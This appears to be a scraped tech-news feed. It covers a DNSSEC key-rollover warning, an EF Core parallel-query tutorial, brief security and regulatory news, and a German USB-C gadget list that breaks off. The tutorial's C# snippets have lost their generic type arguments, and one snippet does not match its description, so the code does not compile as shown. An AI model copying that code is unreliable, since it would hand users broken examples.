BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.



According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.



Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  



The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.



Business analyst skills



The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.



Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.



According to the IIBA, some of the most important skills and experience for a business analyst are:




Oral and written communication skills



Interpersonal, organizational, facilitation, and consultative skills



Analytical thinking and problem solving



Being detail-oriented and able to deliver a high level of accuracy



Knowledge of business structure



Stakeholder and cost-benefit analysis



Processes modeling



Understanding networks, databases, and other technologies




For a more in-depth look at what it takes to succeed as a business analyst, click here.



Business analyst salary



The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.



Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:



Skills Salary Boost
ScrumMaster 44%
Microsoft Azure 30%
Supply Chain 27%
Oracle eBusiness Suite 25%
Master Data Management (SAP MDM) 24%
SAP Sales and Distribution (SAP SD) 24%
Product Support 18%
Microsoft Dynamics GP 18%
SAP Quality Management (SAP QM) 18%
Workday Software 15%
 



For tips on boosting your salary, click here.



Business analyst certifications



Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:




IIBA Entry Certificate in Business Analysis (ECBA)



IIBA Certification of Competency in Business Analysis (CCBA)



IIBA Certified Business Analysis Professional (CBAP)



IIBA Agile Analysis Certification (AAC)



IQBBA Certified Foundation Level Business Analyst (CFLBA)



IREB Certified Professional for Requirements Engineering (CPRE)



PMI Professional in Business Analysis (PBA)



Certified Analytics Professional (CAP)




For more information about how to earn one of these certifications — and how much they cost — click here.



Business analytics tools and software



BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.



CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Fri, 24 Jul 2026 12:09:00 +0200

		
					  
						




Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.



Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.



“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 



The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 



“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”



Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 



“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”



Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”



The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 



The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”



Expect nearly every enterprise to be impacted



Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 



But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 



“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”



As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”



Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”



Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 



“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”



Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.



“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”



“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”



It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 



“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”



Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 



Potentially widespread fallout



A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 



“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”



Greis adds that many enterprises will discover in January problems created by their own automation.



“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”



The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.



Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.



“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”



Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 



Impossible to predict what will happen



One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.



Huston says it is difficult to project what will happen in January until it happens.



“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.



As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 



“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”



As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 



“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”



How to execute queries in parallel using EF Core
Fri, 24 Jul 2026 11:04:59 +0200

		
					  
						




EF Core is Microsoft’s flagship ORM (object-relational mapper), the software layer that allows .NET developers to work with relational databases. The DbContext class is the core component of the EF Core framework for managing database operations. However, the DbContext class in EF Core is not thread-safe. Hence, if you share DbContext instances between multiple threads, you will often encounter data corruption issues and the InvalidOperationException.



In this article, we’ll learn how we can execute queries in parallel in EF Core by handling thread-safety issues to avoid concurrency errors. To work with the code examples provided in this article, you should have Visual Studio 2026 installed in your system. You can download Visual Studio 2026 here.



Executing EF Core queries in parallel – the problem



When working in today’s data-driven applications, you will often need to fetch data from multiple unrelated datasets. In applications that use concurrency, thread-safety is critical to guaranteeing correct execution, avoiding data corruption and race conditions, and ensuring data consistency. Let’s understand this with an example. 



Let’s say we want to populate a dashboard that displays all recently processed orders, metrics, logs, and traces, as well as your application’s performance metadata. We might write the following code. 



public class Dashboard
{
    public List Orders { get; set; } = new();
    public Metrics Metrics { get; set; } = new();
    public List Logs { get; set; } = new();
    public List Traces { get; set; } = new();
}
public static async Task LoadDashboardAsync(ProductService productService)
{
    Task    ordersTask  = productService.GetProcessedOrdersAsync();
    Task        metricsTask = productService.GetMetricsAsync();
    Task logsTask    = productService.GetRecentLogsAsync();
    Task    tracesTask  = productService.GetTracesAsync();
    await Task.WhenAll(ordersTask, metricsTask, logsTask, tracesTask);
    return new Dashboard
    {
        Orders  = await ordersTask,
        Metrics = await metricsTask,
        Logs    = await logsTask,
        Traces  = await tracesTask
    };
}




In the preceding code snippet, there are four read operations that are executed by four different Task instances. Our objective is to ensure that the database round trips run in parallel instead of in sequence. We can accomplish this by usingTask.WhenAll, which starts the four tasks, waits for every task to finish, then returns the data wrapped inside a new Dashboard instance.



If we executed these queries sequentially, the user would have to wait until each query completed its execution in turn—for a total wait time equal to the sum of the times for all four queries. However, by running these queries in parallel, we reduce the wait time considerably. The user will need to wait only as long as it takes for the slowest of the four queries to complete its execution.



However, there is a danger with the above approach. If you run multiple operations on the same DbContext instance, you will see an InvalidOperationException with the following message:




A second operation started in this context before the previous operation was completed. This is usually caused by multiple threads using the same DbContext instance; instance members are not guaranteed to be thread-safe.




Databases such as SQL Server, PostgreSQL, and Oracle Database follow a request-response communication model at the connection level: a single connection can process only one command at a time. Hence, you cannot run multiple queries concurrently using the connection. If you await several operations using the same connection, EF Core detects the overlapping use of a non-thread-safe context and throws an InvalidOperationException. To run queries in parallel, you must give each task its own connection or context.



Why DbContext isn’t thread-safe – and how to work around it



The DbContext class in EF Core is designed to manage a single unit of work. To be more precise, EF Core does not provide support for running multiple operations on the same DbContext instance. This design approach creates inherent challenges when you use the same DbContext instance across multiple threads. If DbContext were thread-safe, extensive locking would be required, which would degrade data access performance.



This stateful design of DbContext makes it unsuitable for concurrent access patterns that involve loading, modifying, or tracking different sets of data simultaneously, because it needs to maintain the internal representation of database state.



The change tracker is one of the most important components of DbContext in EF Core. It monitors all entities loaded into memory and detects any changes made to them after they have been loaded. It keeps track of the original, current, and changed values of the entities, thereby enabling the EF Core runtime to know the current state of these entities when you call the SaveChanges() method on the DbContext instance.



To implement thread-safety when working with DbContext, we must write our code to ensure that each concurrent operation gets its own copy of a short-lived instance. Now, we could accomplish this by wrapping a shared DbContext instance inside a thread-safe block using the lock keyword, so that all calls to the database take place using one and only one thread at a time. This approach is illustrated in the code snippet below. 



using Microsoft.EntityFrameworkCore;
public class Product
{
    public int Id { get; set; }
    public string Name { get; set; } = string.Empty;
    public decimal Price { get; set; }
    public int Quantity { get; set; }
}
public class AppDbContext : DbContext
{
    public AppDbContext(DbContextOptions options) : base(options) { }
    public DbSet Products => Set();
}




However, while the above approach gives us the thread-safety we need, it can degrade data access performance considerably. A better approach is to use IDbContextFactory , which creates fresh DbContext instances on demand. Calling its CreateDbContext() method is cheap and produces a fresh, isolated context every time. 



The following code snippet shows how you can register an instance of type IDbContextFactory as a singleton. You can safely call this code from any thread.



builder.Services.AddDbContextFactory(options =>
    options.UseSqlServer(
        builder.Configuration.GetConnectionString("Default")));




Executing EF Core queries in parallel – the solution



Now let’s see how we can put IDbContextFactory to work. The following code illustrates a class named ProductService that uses a factory to create DbContext instances for each scope of work.



public class ProductService
{
    private readonly IDbContextFactory _factory;
    public ProductService(IDbContextFactory factory)
        => _factory = factory;
    public async Task GetByIdAsync(int id)
    {
        await using var context = await _factory.CreateDbContextAsync();
        return await context.Products.FindAsync(id);
    }
    public async Task UpdateStockQuantityAsync(int id, int updateQuantity)
    {
        await using var context = await _factory.CreateDbContextAsync();
        var product = await context.Products.FindAsync(id);
        if (product is null) return;
        product.Quantity += updateQuantity;
        await context.SaveChangesAsync();
    }
}




Note that ProductService has two methods, GetByIdAsync and UpdateStockQuantityAsync. An instance of the DbContext class is created locally in each of these methods. Now, suppose you have two threads, T1 and T2, that execute these methods concurrently. That is, thread T1 executes the GetByIdAsync method while thread T2 executes the UpdateStockQuantityAsync method. Because each of these methods is executed in isolation, they will have their own context, connection, and change-tracking information, and there will be no mutable state, so you don’t need to implement thread synchronization in either of these methods.



Consider the following code that executes a read operation and an update operation in two separate tasks. 



public static async Task RunMethodsInParallelAsync(ProductService productService)
{
      Task readTask = productService.GetByIdAsync(1);
      Task updateTask = productService.UpdateStockQuantityAsync(3, 5);
      await Task.WhenAll(readTask, updateTask);
      Product? product = await readTask;
 }




The Task.WhenAll method runs the two tasks in parallel and waits until both have finished. The reason this approach is thread-safe, and will not create concurrency errors, is that each of these two methods creates its own DbContext instance internally. Therefore the read operation and the update operation use independent DbContext instances.



Use DbContext pooling to reduce allocation cost



Although creating DbContext instances is not that costly, you should consider using pooled contexts in applications that require high scalability and high performance. The following code snippet shows how you can register a pooled context. 



builder.Services.AddPooledDbContextFactory(options =>
    options.UseSqlServer(connectionString));




A call to AddDbContext() will register a DbContext instance as scoped per HTTP request. Each request will run on a different thread and each will have its own context. However, keep in mind that the default scoped registration of the DbContext will not always suffice.



You will need a factory to create instances of DbContext when you’re using a background service, or performing some work inside a particular request, or running some business logic operation over multiple contexts.



Key takeaways




If you use EF Core in the data access layer of your application, you must implement thread safety measures whenever you run your queries in parallel.



You cannot execute multiple queries in parallel in EF Core using the same DbContext instance.



The IDbContextFactory enables you to create a DbContext instance for each thread, thereby enabling you to work with these instances in isolation.



Although using a DbContext pool involves a small allocation overhead, it becomes a non-issue if you need high throughput.




Nach Cyberangriff: Bafin verhängt Bußgeld gegen TeamViewer
Fri, 24 Jul 2026 11:04:00 +0200
Zum 16. Juli 2026 wurde bekannt dass die Bafin (das ist die Bundesanstalt für Finanzdienstleistungsaufsicht) ein Bußgeld in Höhe von 240.000 Euro gegen den Anbieter von Fernwartungssoftware, TeamViewer, verhängt hat. Grund war eine unzureichende Kommunikation nach einem Cyberangriff 2024. Es … Weiterlesen →
Quelle


Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers
Fri, 24 Jul 2026 10:42:50 +0200
Hackers are abusing modern browser features like ServiceWorkers and SharedWorkers to assemble malware entirely inside the victim’s browser memory. The SourTrade malvertising operation is a live example of how this technique is being weaponized against retail traders and crypto investors. SourTrade has been active since late 2024, buying programmatic ads and impersonating TradingView, Solana, and […]
The post Hackers Abuse Service Workers to Assemble Malware Inside Web Browsers appeared first on Cyber Security News.


VW-Partner Rivian zeigt R3 vor Augen der Konkurrenz: Dieser Stromer versprüht heftige Golf 1 Vibes
Fri, 24 Jul 2026 10:27:21 +0200
Bislang hat Rivian eher große SUVs und Pick-ups im Angebot, doch mit dem kommenden Rivian R3 soll das anders werden. Das neue Modell ist deutlich…
Dieser Artikel VW-Partner Rivian zeigt R3 vor Augen der Konkurrenz: Dieser Stromer versprüht heftige Golf 1 Vibes erschien zuerst auf SmartDroid.de.


European Commission Fines Google €890 Million for DMA Breaches
Fri, 24 Jul 2026 10:23:58 +0200
Google fined €890 million by the European Commission for breaching the Digital Markets Act (DMA) over its practices on Google Search and Google Play. The Commission issued two separate fines of €460 million and €430 million, finding that Google had failed to comply with the DMA's rules on self-preferencing and steering.

The decisions concern how Google ranks its own services in search results and how app developers can communicate alternative offers to users through Google Play.
Google Fined Over Self-preferencing on Google Search
The Commission found that Google breached the DMA by giving preferential treatment to its own services, including shopping, hotels, transport and sports results, compared with third-party services appearing in Google Search.

Under the DMA, designated gatekeepers are required to treat their own services and third-party services fairly and without discrimination in search rankings.

According to the Commission, Google gives its own services greater prominence by placing them at the top of search results or displaying them with enhanced visuals and filters. The Commission said similar third-party services do not receive the same level of prominence.

The Commission's decision requires Google to treat third-party services featured in its search results in a fair and non-discriminatory manner compared with its own services.

The Commission also noted that Google has proposed and started testing changes to the way it presents its own services on Google Search, including free services covering shopping, hotels and flights. The Commission said these changes represent substantial progress towards compliance and will be monitored.

Google has also proposed and started testing changes involving shopping ads and content-related services, including sports. The Commission is assessing these changes and will continue discussions with the company. The dialogue will also cover Google's proposals for applying the principles of the decision to AI Overviews and AI Mode.
Google Play Restrictions Lead to Second Fine
The second decision concerns Google's anti-steering practices on Google Play.

Under the DMA, app developers distributing apps through Google Play must be able to inform customers about alternative, often cheaper offers at no cost. Developers should also be able to direct users to make purchases through other channels, including websites and alternative app stores.

The Commission found that Google failed to meet these requirements. It said Google restricted app developers from freely communicating and promoting offers and from concluding contracts with users through distribution channels of their choice, including third-party app stores.

The Commission acknowledged that Google can charge a fee for facilitating the initial acquisition of a new customer by an app developer through Google Play. However, it found that the level of Google's steering-related fees and the length of time those fees were charged went beyond what is considered compliant with the DMA.

Google has since rolled out changes related to its steering terms. The Commission said these changes represent good progress towards compliance but will be assessed in light of the cease and desist order issued as part of the decision.
Digital Markets Act Enforcement Brings Compliance Deadline
As part of the two decisions, the Commission has ordered Google to end the identified non-compliance. The company must implement measures addressing both search rankings and its anti-steering rules.

Google is required to comply with the Commission's decisions within 60 days. If it fails to do so, it could face periodic penalty payments of up to 5% of its total worldwide turnover.

The fines take into account the gravity and duration of the non-compliance. The Commission said it also considered the recurrence of the breaches and concluded that the fines were proportionate and appropriate.

Google may appeal the decisions.
Commission Investigations Began in 2024
Google was designated as a gatekeeper in September 2023 for its online search engine, Google Search. On 25 March 2024, the Commission opened non-compliance investigations into Google's measures addressing self-preferencing and its steering rules.

On 19 March 2025, the Commission informed Google of its preliminary view that the company was in breach of the DMA. Google subsequently exercised its rights of defence by reviewing the documents in the Commission's investigation files and responding in writing to the preliminary findings.

The two decisions followed a detailed investigation that included feedback from market participants and extensive dialogue with Google.

The Commission said the decisions demonstrate its continued enforcement of the DMA and its focus on protecting fairness, business opportunities, consumer choice and innovation in digital markets.


13 clevere USB-C-Gadgets, die viel mehr können, als nur Ihr Handy aufzuladen
Fri, 24 Jul 2026 10:03:52 +0200





Ich weiß nicht, wie es in Ihren Schubladen aussieht, aber meine sind voll mit Kabeln, die ich wahrscheinlich nie wieder benutzen werde, weil die Technologie sich ziemlich weiterentwickelt hat. Zum Glück scheint sich USB-C durchzusetzen, denn es gibt keinen falschen Weg, diese Dinger anzuschließen. Aber nicht nur Smartphones, Tablets und Laptops verwenden diese Anschlüsse, sondern auch eine lange Liste von Gadgets.



Wir haben den Markt nach versteckten Perlen durchforstet: Gadgets, bei denen Sie denken werden: “Wow, ich wusste gar nicht, dass ich das brauche, aber es wird mein Leben so viel einfacher machen!” Schauen wir uns also an, mit welchen coolen Geräten Sie Ihre Typ-C-Kabel und -Anschlüsse nutzen können.



heat it Insektenstichheiler


PCWelt/heat it/Amazon



Wer im Sommer oder Urlaub oft von Mücken geradezu heimgesucht wird, wird sich besonders über dieses geniale Gadget freuen: Dieses winzige Gerät, das sich einfach per USB-C mit Ihrem Smartphone verbinden lässt, kann mit gezielter Wärme den Juckreiz von Stichen und Insektenbissen deutlich reduzieren.



Ähnlich wie größere Varianten, etwa diesen hier von Beurer, muss man den kleinen Stichheiler von heat it einfach nur per App aufladen und dann auf den Stich halten. Die Hitze erledigt dann den Rest und zersetzt die Proteine, die im Mückenstich dafür sorgen, dass die Stelle anschwillt, juckt und schmerzt. Ein echtes Must-have für den Sommer, und es kostet nicht mal 25 Euro.



Mini-Ventilator


KIMMOO / Amazon / PC-WELT



Ziemlich genial sind auch diese kleinen Ventilatoren, die man im Sommer einfach in der Hosentasche mitnehmen und bei Bedarf schnell einsetzen kann. Wer schon einmal bei 30 Grad in einer vollen S-Bahn saß und sich zumindest ein wenig frische Luft gewünscht hat, der wird dieses Gadget lieben.



Der Mini-Ventilator für unter 20 Euro mit USB-C-Ladeanschluss kann ganz einfach über Powerbanks, Computer, Laptops oder USB-Ladegeräte betrieben werden. Es gibt aber noch kleinere und günstigere Ventilatoren, die man direkt ans Handy anschließen kann, und gerade mal 2-3 Euro pro Stück kosten. Diese sorgen aber auch für einen weniger starken Luftstrom, daher würden wir eher die erste Variante empfehlen.



USB-C zu HDMI Adapter


Anker



Wenn Ihr Laptop über einen USB-C-Anschluss verfügt, Sie Ihren Monitor aber schon seit Ewigkeiten nicht mehr geupgradet haben, verfügt Ihr Bildschirm vermutlich nicht über einen Typ-C-Anschluss. Dieser Adapter von Anker löst dieses Problem für Sie, sodass Sie das normale HDMI-Kabel, das Sie an Ihren Monitor anschließen, mit diesem Gerät verbinden können.



Der Adapter unterstützt Auflösungen von bis zu 4K bei 60 Hz, was ziemlich beeindruckend ist. Dies ist auch eine raffinierte Möglichkeit, Ihr Smartphone oder Tablet an Ihren Monitor oder Fernseher anzuschließen. Das Gerät kostet circa 13 Euro, aber wir haben es schon für nur 13 Euro bei Amazon gesehen.



Mini-Schraubendreher


Amazon



Wenn Sie häufig an Ihrem Computer oder anderen Geräten herumschrauben müssen, ist dieser elektrische Mini-Schraubendreher vielleicht genau das Richtige für Sie. Dieser stiftförmige Schraubendreher verfügt über vier LED-Leuchten, damit Sie besser sehen können, woran Sie gerade arbeiten, und dreht sich 200 Mal pro Minute, sodass Sie die Arbeit schneller erledigen können.



Der Schraubendreher verfügt über 64 verschiedene Aufsätze, es sollte also für so gut wie jeden Einsatzzweck ein passender dabei sein. Er kann über USB-C aufgeladen werden und hält bis zu drei Stunden lang. Der Elektroschraubendreher kostet normalerweise 41 Euro, ist aber auch für 32 Euro im Angebot erhältlich.



USB-C microSD-Kartenleser


Ugreen / Amazon



Die meisten Laptops verfügen heutzutage nicht mehr über einen Kartenleser, daher muss man andere Wege finden, um Daten von diesen kleinen Dingern zu übertragen. Egal, ob Sie Daten von der Karte Ihrer Dashcam oder Ihrer Kamera übertragen möchten, dieser winzige Ugreen USB-C microSD-Kartenleser ist dafür bestens geeignet.



Der Kartenleser ist so klein, dass Sie ihn wahrscheinlich an einem Schlüsselbund befestigen können. Wenn Sie eine etwas vielseitigere Version bevorzugen, bietet Ugreen ein Modell an, das auch mit SD-Karten kompatibel ist und sowohl über USB-C- als auch USB-A-Anschlüsse verfügt. Alle diese Modelle kosten weniger als 10 Euro und sind daher eine lohnende Investition.



Anker Nano Power Bank


Anker 



Eine Sache, die Sie unbedingt in Ihrer Tasche, Reisetasche oder in Ihrem Rucksack haben müssen, ist eine Powerbank. Denn man weiß schließlich nie, wann das Telefon einen mal im Stich lässt und nach einer Aufladung schreit. Die Anker Nano Power Bank ist zum Glück so klein, dass sie fast überall hinpasst.



Sie verfügt über einen faltbaren USB-C-Anschluss und einen Anschluss an der Seite, sodass Sie bei Bedarf zwei Geräte gleichzeitig aufladen können. Die Kapazität von 5.000 mAh reicht gerade aus, um Ihr Handy einmal vollständig aufzuladen, was in der Not entscheidend sein kann. Außerdem kostet sie gerade mal 26 Euro, ist aber immer wieder mal reduziert.



Endoskopkamera mit Licht


Ennovor



Auch wenn Sie diese Endoskopkamera von Ennovor nicht jeden Tag benutzen werden, kann sie doch sehr nützlich sein. Sie schließen sie einfach an Ihr Telefon an, installieren eine App und sehen alles, was Ihre Kamera macht. Mein Kollege schwört darauf und verwendet sie, um alles zu finden, was so hinter dem Schreibtisch verloren geht.



Gerade dann, wenn Sie am Auto arbeiten oder nach undichten Leitungen suchen, ist das Teil super nützlich. Da sie die Schutzklasse IP67 hat, können Sie sie sogar in Ihr Aquarium stellen. Die Kamera wird mit einem circa 5 Meter langen, halbstarren Kabel und diversem Zubehör geliefert, darunter ein Haken, ein Magnet und ein Spiegel. Sie können diese Kamera im Moment für um die 22 Euro kaufen.



Blukar Taschenlampe


Blukar



Egal, wer Sie sind oder wo Sie so unterwegs sind: Sie brauchen eine Taschenlampe. Je kleiner, desto besser, denn so können Sie sie in jede Tasche stecken. Dieses Modell von Blukar verfügt über einen eingebauten 1800mAh-Akku, den Sie mit einem der vielen Typ-C-Kabel aufladen, die Sie so herumliegen haben.



Mit einer einzigen Ladung können Sie bis zu 16 Stunden arbeiten, was ziemlich gut ist. Sie können zwischen vier verschiedenen Blitzmodi wählen, darunter auch einer, der Ihnen hilft, Hilfe zu signalisieren. Außerdem kostet die kleine Taschenlampe weniger als 10 Euro. Es gibt also keine Ausrede, sich diesen Tipp entgehen zu lassen.



Samsung Flash-Laufwerk


Samsung



Die allermeisten Flash-Laufwerke haben einen USB-A-Anschluss, aber dieses von Samsung besitzt einen Typ-C-Anschluss. Mit Übertragungsgeschwindigkeiten von bis zu 400 MB/s können Sie Dateien im Handumdrehen verschieben. Das Coole an diesem USB-Stick ist, dass Sie ihn sogar in Ihr Smartphone stecken können, um 4K-Videos direkt darauf aufzunehmen.



Das Samsung Type-C Flash-Laufwerk ist in verschiedenen Speicheroptionen erhältlich, angefangen bei 64 GB bis hin zu 512 GB.



Mini Luftpumpe


PCWelt/Cycplus/Amazon



Ebenfalls perfekt für den Sommer geeignet ist diese kleine Luftpumpe von Cycplus, die unterwegs in jede Tasche passt. Sie kann nicht nur einen Fahrradreifen innerhalb von zwei Minuten auf Knopfdruck wieder aufpumpen, sondern wird auch per USB aufgeladen. Sie eignet sich laut Hersteller für Mountainbikes, Rennräder, Motorräder und sogar Autos!



Neben der Luftpumpe selbst lässt sich dieses praktische Gadget auch als Taschenlampe oder Powerbank für unterwegs einsetzen. Alles Dinge, die man auf einer Fahrradtour sehr gut gebrauchen kann. Und für den Preis von nur 45,99 Euro wirklich empfehlenswert, wenn Sie schnelle Hilfe bei platten Reifen benötigen. Im Angebot kostet sie sogar nur 37 Euro.



Leselampe mit Buchklemme


Gritin / Amazon



Wer auch gerne und viel liest, und das teilweise bis spät in die Nacht hinein, wird sich über dieses kleine Teil hier freuen: eine Leselampe, die Sie einfach an Ihr Buch klemmen können. Das ist jetzt vielleicht nichts bahnbrechend Neues, doch mit insgesamt drei Farbtemperaturen und fünf verschiedenen Lichtmodi können Sie individuell anpassen, wie viel Licht Sie zum Lesen brauchen. 



Die Leselampe von Gritin kostet bei Amazon gerade mal 13 Euro und besitzt einen 1200-mAh-Akku, der je nach Nutzung bis zu 80 Stunden durchhält. Danach können Sie ihn einfach per USB wieder aufladen. Den Hals der Lampe können Sie nach Belieben hin- und herschwenken, und es gibt sogar eine kleine Ladeanzeige. Was will man mehr?



Externes DVD-Laufwerk


Amicool



Wenn Ihr Laptop wie viele heutzutage kein DVD-Laufwerk besitzt, dann wird Ihnen dieses kleine Gerät sehr nützlich sein. Dieses externe DVD-Laufwerk von Amicool wird über USB-C (oder USB-A) an Ihren Laptop angeschlossen und bietet Ihnen das optische Laufwerk, das Sie manchmal benötigen.



Es kann DVDs und CDs problemlos lesen und brennen, sodass Sie Software installieren, Dateien kopieren, Daten sichern, Spiele spielen und vieles mehr können. Sie müssen nicht einmal Treiber installieren, da dieses Gerät Plug-and-Play-fähig ist. Normalerweise kostet es 28 Euro, aber oft ist es schon für etwa 20 Euro zu haben, was ein absolutes Schnäppchen ist.



Wiederaufladbare Handwärmer


Amazon / PC-WELT 



